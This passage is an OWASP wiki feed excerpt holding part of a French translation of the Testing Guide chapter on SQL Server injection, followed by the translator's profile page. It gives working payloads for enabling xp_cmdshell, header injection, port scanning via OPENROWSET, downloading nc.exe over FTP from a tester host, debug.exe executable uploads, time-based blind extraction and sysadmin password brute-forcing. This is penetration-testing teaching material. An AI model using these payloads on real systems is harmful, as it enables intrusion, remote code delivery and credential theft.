  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce code, écrit par Antonin Foller (voir les liens en bas de page), crée une nouvelle fonction xp_cmdshell en utilisant sp_oacreate, sp_oamethod et sp_oadestroy (à condition qu'elles n'aient pas aussi été désactivées, bien sûr). Avant de l'utiliser il faut d'abord effacer la première fonction xp_cmdshell que nous avons créée (même si elle ne fonctionnait pas), sinon les deux déclarations vont entrer en collision.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
L'entête REFERER a cette valeur :&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cela permet l'exécution de code SQL arbitraire. Cela arrive aussi si le User-Agent a cette valeur :&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 7: utiliser SQL Server comme un scanner de ports===&lt;br /&gt;
&lt;br /&gt;
Sous SQL Server, OPENROWSET est une des commandes les plus utiles (pour le testeur d'intrusion). Elle est utilisée pour exécuter une requête sur un autre serveur de base de données et en récupérer les résultats.&lt;br /&gt;
Le tester peut utiliser cette commande pour scanner les ports des autres machines du réseau ciblé, en injectant la requête suivante :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La requête va tenter d'ouvrir une connexion vers l'adresse x.y.w.z sur le port p. Si le port est fermé, le message suivant sera retourné :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL Server does not exist or access denied&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si le port est ouvert, une des erreurs suivantes sera retournée :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
General network error. Check your network documentation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bien sûr, le message d'erreur n'est pas toujours disponible. Si c'est le cas, on peut utiliser le temps de réponse pour comprendre ce qui se passe : en cas de port fermé, le timeout (5 secondes dans cet exemple) sera écoulé, alors qu'un port ouvert retournera un résultat immédiatement.&lt;br /&gt;
&lt;br /&gt;
Il faut garder à l'esprit que OPENROWSET est activée par défaut dans SQL Server 200 mais désactivée dans SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 8: télécharger des exécutables===&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on peut utiliser xp_cmdshell (soit la version native soit la version personnalisée), on peut facilement télécharger des exécutables vers le serveur de base de données. Un choix très commun ser netcat.exe, mais un trojan quelconque sera aussi utile ici.&lt;br /&gt;
Si la cible est autorisée pour démarrer une connexion FTP vers la machine du testeur, il suffit d'injecter les requêtes suivantes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A ce moment, nc.exe sera téléchargé et disponible.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si le firewall n'autorise pas FTP, il y a moyen de le contourner en exploitant le debogueur Windows, debug.exe, qui est installé par défaut sur toutes les machines Windows. Debug.exe est scriptable et peut créer un exécutable en exécutant le fichier script approprié. Il faut donc convertir l'exécutable en un script de déboguage (qui est un fichier 100% ASCII), de le télécharger ligne par ligne et d'appeler debug.exe dessus. Divers outils permettent de créer de tels fichiers (par exemple makescr.exe d'Ollie Whitehouse et dbgtool.exe de toolcrypt.org). Les requêtes seront les suivantes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A ce moment, notre exécutable est disponible sur la machine cible, prêt à être exécuté. Il y a des outils pour automatiser ce procédé, notamment Bobcat, tournant sous Windows, et Sqlninja, tournant sous Linux (voir les outils en bas de page).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Obtenir des informations non affichées (out-of-band)===&lt;br /&gt;
&lt;br /&gt;
Tout n'est pas perdu lorsque l'application web ne retourne aucune information, telle que des messages d'erreurs explicites (voir [[Blind SQL Injection]]). Par exemple, il peut arriver que l'on ait accès au code source (par exemple si l'application est basée sur un logiciel open source). Dans ce cas, le testeur peut exploiter toutes les vulnérabilités d'injection SQL découvertes dans l'application web. Bien qu'un IPS puisse stopper certaines de ces attaques, la meilleure manière de procéder est la suivante : développer et tester les attaques sur un banc d'essai créé à cet effet, puis exécuter ces attaques contre l'application cible elle-même.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'autres options pour les attaques out-of-band sont dérites dans l'exemple 4 plus haut.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Attaques d'injection SQL en aveugle===&lt;br /&gt;
&lt;br /&gt;
====Essais et erreurs====&lt;br /&gt;
De manière différente, on peut tenter de jouer la chance. Dans ce cas, l'attaquant peut considérer qu'il y a une vulnérabilité d'injection SQL out-of-band dans une application web. Il va ensuite choisir un vecteur d'attaque (par exemple une entrée web), utiliser les vecteurs fuzz ([[OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors|1]]) contre ce canal et regarder les réponses. Par exemple, si l'application web recherche des livres en utilisant la requête&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''texte entré par l'utilisateur'''&lt;br /&gt;
&lt;br /&gt;
alors le testeur peut entrer le texte : ''''Bomba' OR 1=1-''' et si les données ne sont pas correctement validées, la requête va passer et retourner la liste complète des livres. C'est la preuve qu'il y a une vulnérabilité d'injection SQL. Le testeur peut ensuite ''jouer'' avec les requêtes afin d'évaluer la gravité de cette vulnérabilité.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Si plus d'un message d'erreur sont affichés====&lt;br /&gt;
D'autre part, si aucune information préalable n'est disponible, il y a quand même moyen de monter une attaque en exploitant un ''covert channel'' (canal couvert). Il peut arriver que les messages d'erreur soient bloqués, mais que ces messages donnent tout de même quelques informations. Par exemple :&lt;br /&gt;
* Dans certains cas, l'application web (en fait le serveur web) va retourner le message traditionnel ''500: Internal Server Error'', par exemple quand l'application renvoit une exception générée par des quotes non-fermées.&lt;br /&gt;
* Dans d'autres cas le serveur renverra un message 200 OK, alors que l'application retournera un message d'erreur défini par les développeurs : ''Internal server error'' ou ''bad data''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ces informations parcellaires peuvent suffire à comprendre comme la requête SQL dynamique est construite, et comment adapter une exploitation. Les résultats stockés dans des fichiers HTML accessibles sont une autre méthode out-of-band.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Attaques temporelles====&lt;br /&gt;
Il y a encore une autre manière de procéder à une attaque d'injection SQL en aveugle quand on n'a pas de retour visible de l'application : en mesurant le temps que met l'application web à repondre à une requête. Anley ([2]) décrit un tel type d'attaque, le prochain exemple est tiré de cet article. Une approche classique est d'utiliser la commande ''waitfor delay'' : considérons que l'attaquant désire vérifier si la base de données d'exemple 'oubs' existe, il va simplement injecter la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En fonction du temps que va prendre la requête pour répondre, il aura sa réponse. En fait il y a deux choses : une '''vilnérabilité d'injection SQL''' et un '''canal caché''' qui permettent le testeur d'obtenir 1 bit d'information pour chaque requête. Ainsi, en utilisant plusieurs requêtes (autant que de bits d'information à récupérer), le testeur peut obtenir n'importe quelle donnée dans la base. Considérons la requête suivante :&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000)&lt;br /&gt;
 declare @i int&lt;br /&gt;
 select @s = db_name()&lt;br /&gt;
 select @i = [some value]&lt;br /&gt;
 if (select len(@s)) &amp;lt; @i waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En mesurant le temps de réponse pour chaque valeur de @i, on peut déduire la lingueur du nom de la base de donnée courante, puis commencer à extraire le nom lui-même avec la requête suivante :&lt;br /&gt;
&lt;br /&gt;
 if (ascii(substring(@s, @byte, 1)) &amp;amp; ( power(2, @bit))) &amp;gt; 0 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette requête va attendre 5 secondes pour chaque '@bit' égal à 1 de '@byte' du nom de la base de données courante, et répondra immédiatement si '@bit' est égal à 0. En imbriquant deux cycles (un pour @byte et un pout @bit) on sera capable d'extraire l'ensemble de l'information.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cepandant, il arrive parfois que la commande ''waitfor'' ne soit pas disponible (parce qu'un IPS ou un pare-feu applicatif la filtre, par exemple). Cela ne signifie pas que les attaques par injection SQL en aveugle soient impossible, puisque le testeur peut utiliser toute opération prenant du temps qui ne sera pas filtrée. Par exemple : &lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Vérifier la version et ses vulnérabilités====&lt;br /&gt;
La même approche temporelle peut être utilisée pour comprendre à quelle version de SQL Server on a à faire. On va bien sûr utiliser la variable intégrée @@version. Considérons la requête suivante :&lt;br /&gt;
&lt;br /&gt;
 select @@version&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sous SQL Server 2005, on va obtenir un résultat ressemblant à :&lt;br /&gt;
&lt;br /&gt;
 Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 &amp;lt;snip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La partie '2005' de la chaîne est placée du 22e au 25e caractère. Ainsi, la requête à injecter est la suivante : &lt;br /&gt;
&lt;br /&gt;
 if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une telle requête va attendre 5 secondes si le 25e caractère de la variable @@version est '5', dévoilant que l'on a à faire à SQL Server 2005. Si la requête répond immédiatement, on a surement à faire à SQL Server 2000, et une autre requête similaire permettra de le confirmer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 9: brute-forcer le mot de passe sysadmin===&lt;br /&gt;
&lt;br /&gt;
Pour brute-forcer le mot de passe du sysadmin, on peut utiliser le fait que OPENROWSET nécessite l'accès adéquat pour se connecter et qu'une telle connexion peut être effectuée avec le serveur de base local.&lt;br /&gt;
En combinant ce fait avec une injection inférentielle basée sur le temps de réponse, on peut injecter le code suivant :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ici, on essaie d'ouvrir une connexion à la base locale (désignée par le champ vide après 'SQLOLEDB'), en utilisant 'sa' comme identifiant et '&amp;lt;pwd&amp;gt;' comme mot de passe. Si le mot de pasase est correct et que la connexion est réussie, la requête est exécutée et fait attendre la base pendant 5 secondes (et lui fait aussi renvoyer une valeur, puisque OPENROWSET nécessite au moins une colonne). Récupérer les mot de passe à tester depuis une liste de mots et mesurer le temps nécessaire à chaque connexion va nous permettre de deviner le mot de passe correct. Dans &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pousse la technique encore plus loin, en injectant un morceau de code afin de brute-forcer le mot de passe du sysadmin en utilisant les ressources CPU du serveur de base lui-même.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois le mot de passe du sysadmin connu, on a deux choix :&lt;br /&gt;
&lt;br /&gt;
* Injecter les requêtes suivantes en utilisant OPENROWSET, afin d'utiliser les privilèges du sysadmin&lt;br /&gt;
&lt;br /&gt;
* Ajouter notre utilisateur courant dans le group sysadmin en utilisant sp_addsrvrolemember. Le nom de l'utilisateur courant peut être extrait en utilisant une injection inférentielle sur la variable system_user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
N'oublions pas que OPENROWSET est accessible à tout ulisateur sur SQL Server 2000 mais est restreint aux comptes administrateur sur SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
* Paul Litwin: &amp;quot;Stop SQL Injection Attacks Before They Stop You&amp;quot; - http://msdn.microsoft.com/en-us/magazine/cc163917.aspx&lt;br /&gt;
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx&lt;br /&gt;
* Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection - http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading files, getting into internal network, port scanning, DOS&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187798</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187798"/>
				<updated>2015-01-10T16:33:47Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	</feed>